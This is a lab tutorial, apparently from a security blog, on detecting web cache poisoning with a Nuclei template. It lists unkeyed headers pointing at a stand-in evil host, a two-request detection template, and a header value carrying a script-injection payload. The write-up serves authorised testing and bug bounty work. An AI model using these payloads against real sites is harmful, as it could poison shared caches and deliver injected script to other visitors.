Cache Poisoning using Nuclei
Discovering cache poisoning vulnerabilities using nuclei.

HTTP Headers

In this lab, we are going to use nuclei tool for discovering cache poisoning vulnerabilities on web applications.
To do this, we need to use common unkeyed inputs headers such as:
1
X-Forwarded-Prefix: cache.my_evil_dns.com
2
X-Forwarded-Host: cache.my_evil_dns.com
3
X-Forwarded-For: cache.my_evil_dns.com
4
X-Originating-IP: cache.my_evil_dns.com
5
X-Remote-IP: cache.my_evil_dns.com
6
X-Remote-Addr: cache.my_evil_dns.com
7
X-Client-IP: cache.my_evil_dns.com
Copied!
In detail, to trigger cache poisoning vulnerabilities we need two requests:
    The first that causes the server to cache the poisoned response
    The second will retrieve the poisoned response from the server-side.

Building the Nuclei template

To carry out this scenario, we can build our nuclei template as presented below.
1
id: cache-poisoning
2
3
info:
4
name: HTTP Cache Poisoning
5
author: sirpedrotavares / seguranca-informatica.pt
6
severity: medium
7
8
requests:
9
- raw:
10
- |
11
GET /?evil=007 HTTP/1.1
12
X-Forwarded-Prefix: cache.my.evil.dns.com
13
X-Forwarded-Host: cache.my.evil.dns.com
14
X-Forwarded-For: cache.my.evil.dns.com
15
X-Originating-IP: cache.my.evil.dns.com
16
X-Remote-IP: cache.my.evil.dns.com
17
X-Remote-Addr: cache.my.evil.dns.com
18
X-Client-IP: cache.my.evil.dns.com
19
20
- |
21
GET /?evil=007 HTTP/1.1
22
23
req-condition: true
24
matchers:
25
- type: dsl
26
dsl:
27
- 'contains(body_2, "cache.my.evil.dns.com") == true'
Copied!
We can test this template using the PortSwigger Lab here.
1
.\nuclei.exe -u target_url -t .\nuclei-templates-master\sirpedrotavares\cache-poisoning.yaml
Copied!
And yeah, we got it
😎

Bug Bounty tip

You can use this strategy to find vulnerabilities like these in bug bounty programs. To start, you can use bbscope tool to get your scope from your public and private programs (HackerOne, Bugcrowd, and Intigriti).
1
X-Forwarded-For: cache.my_evil_dns.com"></script><script>alert(document.domain);</script>
Copied!

References

Automate Cache Poisoning Vulnerability - Nuclei
Mohamed Elbadry | Blog
Poisoning your Cache for 1000$ - Approach to Exploitation Walkthrough
Gal Nagli
Last modified 5mo ago